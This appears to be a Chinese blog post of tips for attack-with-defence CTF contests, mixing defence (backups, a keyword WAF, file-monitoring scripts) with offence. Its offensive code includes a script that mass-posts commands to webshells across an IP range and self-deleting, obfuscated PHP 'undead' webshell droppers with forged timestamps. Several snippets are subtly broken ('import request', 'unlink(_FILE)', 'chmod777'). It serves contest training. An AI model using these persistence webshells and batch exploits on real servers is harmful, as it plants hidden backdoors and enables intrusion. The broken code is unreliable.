天天看點

CTF中的AWD套路

今年參加了三起CTF比賽,屬于初學者,基本除了web其他的不會,但分賽場AWD相對就沒什麼難度,基本都是技巧性。其中一場進入複賽了,本月底再次比賽(ctf題做的這麼渣還能進也是絕了~),參照前人經驗補充了一些總結下。

一、AWD介紹

AWD:Attack With Defence,即攻防對抗,比賽中每個隊伍維護多台伺服器(一般兩三台,視小組參賽人數而定),伺服器中存在多個漏洞(web層、系統層、中間件層等),利用漏洞攻擊其他隊伍可以進行得分,加強時間段可自行發現漏洞對伺服器進行加強,避免被其他隊伍攻擊失分。

  • 1.一般配置設定Web伺服器,伺服器(多數為Linux)某處存在flag(一般在根目錄下);
  • 2.可能會提供一台流量分析虛拟機,可以下載下傳流量檔案進行資料分析(較少提供);
  • 3.flag在主辦方的設定下每隔一定時間重新整理一輪;
  • 4.各隊一般都有一個初始分數;
  • 5.flag一旦被其他隊伍拿走,該隊扣除一定積分;
  • 6.得到flag的隊伍加分;
  • 7.一般每個隊伍會給一個低權限使用者,非root權限;
  • 8.主辦方會對每個隊伍的服務進行check,伺服器當機扣除本輪flag分數,扣除的分值由服務check正常的隊伍均分。

二、比賽分工

  1. 線下賽一般3人,2人攻1人守,在此情況下攻擊比防守得分來的快;
  2. 也可一人維護一台靶機,同時進行攻防。

比賽靶機一般都在同一個B段,可提前掃描目标網段中存活靶機,友善實施攻擊。

如使用 禦劍高速TCP全端口掃描工具、httpscan,隻需要掃描 80 端口就行(一般web為80端口,特殊情況自行設定)。

三、套路

1、備份

比賽開始第一時間備份,備份網站目錄及資料庫,一般在

/var/www/html

目錄。

一是為了dump下來,用D盾清除存在的後門;

二是為了比賽出現異常或惡意破壞進行還原,避免靶機當機被扣分;

三要審計下有沒有高危指令執行函數,進行後期加強,以及有空餘時間或專門安排一個人審計下基礎漏洞用來做攻擊。

指令執行函數

exec()

passthru()

system()

shell_exec()

popen()

等;代碼執行函數:

eval()

assert()

preg_repace()

uasort()

等;檔案包含函數

include()

require()

等,用正則比對

grep -r "@eval" /www/

,找到後注釋掉。

2、弱密碼

大多數情況下,所有隊伍的Web背景、phpmyadmin等服務的管理密碼都一樣,立馬快速檢查修改自己密碼,并利用此進行攻擊。一般預設密碼為

admin/admin, admin/123456, test/test

,如果被其他隊伍改了那就gg了。

3、後門

如上所說,對備份web目錄進行後門清除。

CTF中的AWD套路

清除到後門檔案後,檢視後門路徑及密碼,直接通過菜刀連接配接。

腳本擷取webshell并快速送出

為了速度,可以通過腳本進行批量擷取webshell,腳本快速送出,代碼如下:

#!/usr/bin/env python
#coding=utf-8

import request
url="http://192.168.71."
url1=""
path="/upload/index.php"
passwd="test"
port="80"
payload={passwd: 'system(\'cat /flag\');'}
f=open("webshell_list.txt", "w")
f1=open("flag_list.txt". "w")
for i in [1, 3, 5, 7, 9, 11, 13, 15]:
 url1=url+str(i)+":"+port+path
 try:
  res=request.post(url1, payload, timeout=2)
  if res.status_code == request.codes.ok:
   print url1+" connect shell success, flag is "+res.text
   print >> f1, url1+" connect shell success, flag is "+res.text
   print >> f, url1+", "+passwd
  else:
   print "shell not find."
 except:
  print url1+" connect shell fail"

f.close()
f1.close()
           

配置其他隊伍位址、shell路徑和密碼,就可以進行攻擊,flag記錄在 flag_list.txt檔案中。

4、監測攻擊payload

tail -f *.log

,看日志,不言而喻,抓他們的payload并利用。

5、漏洞

常見的漏洞包括SQL注入、檔案包含、檔案上傳、指令執行等。

(1)sql注入漏洞

比賽一般沒有防護(除非選手安裝了防禦腳本),可直接通過

--sql-shell

執行

select load_file(‘/flag’);

得到flag,也可以利用

into outfile

寫木馬維持權限。

(2)本地檔案包含或目錄周遊

直接通過

../../../../../flag

擷取。

6、權限維持

(1)不死馬

直接linux執行:

while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
           

bs1.php

通路後同目錄持續生成

.test.php

檔案

<?php
set_time_limit(0);
//程式執行時間
ignore_user_abort(1);
//關掉終端後腳本仍然運作
unlink(__FILE__);
//檔案完整名
while(1) {
 file_put_contents('.test.php','<?php $a=array($_REQUEST["x"]=>"3");   // pwd=x
$b=array_keys($a)[0];
eval($b);?>');
 sleep(5);
}
?>
           

bs2.php

.config.php

<?php
 set_time_limit(0);
 ignore_user_abort(1);
 unlink(_FILE);
 while(1){
  file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>');
  system('chmod777.config.php');
  touch("./.config.php",mktime(20,15,1,11,28,2016));   // pwd=1
  usleep(100);
  }
?>
           

7、防禦手段

(1)waf

<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
檢測請求方式,除了get和post之外攔截下來并寫日志。
*/
if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') {
    write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //擷取uri來進行檢測
$data = file_get_contents('php://input'); //擷取post的data,無論是否是mutipa
rt $headers = get_all_headers(); //擷取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //
對URL進行檢測,出現問題則攔截并記錄filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data))));
//對POST的内容進行檢測,出現問題攔截并記錄
/*
檢測過了則對輸入進行簡單過濾
*/
foreach ($_GET as $key => $value) {
    $_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
    filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //對http請求頭進行檢測,出現問題攔截并記錄
    $_SERVER[$key] = filter_dangerous_words($value); //簡單過濾
    
}
/*
擷取http請求頭并寫入數組
*/
function get_all_headers() {
    $headers = array();
    foreach ($_SERVER as $key => $value) {
        if (substr($key, 0, 5) === 'HTTP_') {
            $headers[$key] = $value;
        }
    }
    return $headers;
}
/*
檢測不可見字元造成的截斷和繞過效果,注意網站請求帶中文需要簡單修改
*/
function filter_invisible($str) {
    for ($i = 0; $i < strlen($str); $i++) {
        $ascii = ord($str[$i]);
        if ($ascii > 126 || $ascii < 32) { //有中文這裡要修改
            if (!in_array($ascii, array(
                9,
                10,
                13
            ))) {
                write_attack_log("interrupt");
            } else {
                $str = str_replace($ascii, " ", $str);
            }
        }
    }
    $str = str_replace(array(
        "`",
        "|",
        ";",
        ","
    ) , " ", $str);
    return $str;
}
/*
檢測網站程式存在二次編碼繞過漏洞造成的%25繞過,此處是循環将%25替換成%,直至不存在%25
*/
function filter_0x25($str) {
    if (strpos($str, "%25") !== false) {
        $str = str_replace("%25", "%", $str);
        return filter_0x25($str);
    } else {
        return $str;
    }
}
/*
攻擊關鍵字檢測,此處由于之前将特殊字元替換成空格,即使存在繞過特性也繞不過正則的\b
*/
function filter_attack_keyword($str) {
    if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b
|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m
ultipoint\(/i", $str)) {
        write_attack_log("sqli");
    }

    if (substr_count($str, $_SERVER['PHP_SELF']) < 2) {
        $tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
        if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) {
            write_attack_log("LFI/LFR");;
        }
    } else {
        write_attack_log("LFI/LFR");
    }
    if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) {
        write_attack_log("EXEC");
    }
    if (preg_match("/flag/i", $str)) {
        write_attack_log("GETFLAG");
    }
}
/*
簡單将易出現問題的字元替換成中文
*/
function filter_dangerous_words($str) {
    $str = str_replace("'", "‘", $str);
    $str = str_replace("\"", "“", $str);
    $str = str_replace("<", "《", $str);
    $str = str_replace(">", "》", $str);
    return $str;
}
/*
擷取http的請求包,意義在于擷取别人的攻擊payload
*/
function get_http_raw() {
    $raw = '';
    $raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n";
    foreach ($_SERVER as $key => $value) {
        if (substr($key, 0, 5) === 'HTTP_') {
            $key = substr($key, 5);
            $key = str_replace('_', '-', $key);
            $raw.= $key . ': ' . $value . "\r\n";
        }
    }
    $raw.= "\r\n";
    $raw.= file_get_contents('php://input');
    return $raw;
}
/*
這裡攔截并記錄攻擊payload
*/
function write_attack_log($alert) {
    date_default_timezone_set("Asia/Shanghai");
    $data = date("Y/m/d H:i:s") . " --
[" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n";
    $ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路徑
    fwrite($ffff, $data);
    fclose($ffff);
    if ($alert == 'GETFLAG') {
        header("location:http://172.16.9.2/");
    } else {
        sleep(15); //攔截前延時15秒
        
    }
    exit(0);
}
?>
           

(2)Shell監控新增檔案

建立檔案的時候更改檔案建立時間熟悉可能監測不到。

#!/bin/bash
while true
do
    find /var/www/dvwa/ -cmin -60 -type f | xargs rm -rf
    sleep 1
done
           

循環監聽一小時以内更改過的檔案或新增的檔案,進行删除。

(3)Python監測新增檔案

放在

/var/www/

/var/www/html

下執行這個腳本,它會先備份當然目錄下的所有檔案,然後監控目前目錄,一旦目前目錄下的某個檔案發生變更,就會自動還原,有新的檔案産生就會自動删除。

# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {} # 檔案MD5字典
ORIGIN_FILE_LIST = []

# 特殊檔案路徑字元串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 檔案路徑字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 擷取Unicode編碼
def getUnicode(value, encoding=None, noneToNull=False):
    if noneToNull and value is None:
        return NULL
    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value
    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目錄建立
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 擷取目前所有檔案路徑
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 計算機檔案MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 擷取所有檔案MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 備份所有檔案
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 擷取所有檔案路徑,并擷取所有檔案的MD5,同時備份所有檔案
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 備份檔案可能會産生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上傳檔案
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意檔案被修改,還原被修改檔案
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())
           

(4)修改curl

擷取flag一般都是通過執行

curl http://xxx.com/flag.txt

更改其别名,使其無法擷取flag内容:

alias curl = 'echo flag{e4248e83e4ca862303053f2908a7020d}' 使用别名,
chmod -x curl  降級,取消執行權限
           

(5)克制不死馬、記憶體馬

使用條件競争的方式,不斷循環建立和不死馬同名的檔案和檔案夾,在此次比賽中使用此方式克制

了不死馬。

#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh